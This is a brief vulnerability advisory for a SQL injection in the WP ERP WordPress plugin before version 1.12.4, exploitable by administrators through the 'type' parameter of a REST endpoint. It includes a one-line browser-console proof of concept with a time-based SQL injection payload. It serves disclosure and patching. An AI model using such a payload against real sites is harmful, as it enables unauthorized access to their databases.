WP ERP < 1.12.4 - Admin+ SQL Injection

2023-06-0500:00:00

Arvandy

wordpress

erp

sql injection

admin

vulnerability

exploit

EPSS

0.002

Percentile

52.0%

JSON

The plugin does not properly sanitise and escape the type parameter in the erp/v1/accounting/v1/people REST API endpoint before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.

Sign in as an admin. In WP Admin, run the following code in the browser console, and notice that it takes several seconds to complete, demonstrating the SQL Injection vulnerability.

await wp.apiRequest({path: `/erp/v1/accounting/v1/people?type=x')+AND+(SELECT+1+FROM+(SELECT+SLEEP(3))x)+AND+('x'%3d'x`});

EPSS

0.002

Percentile

52.0%

JSON

Related for WPEX-ID:435DA8A1-9955-46D7-A508-B5738259E731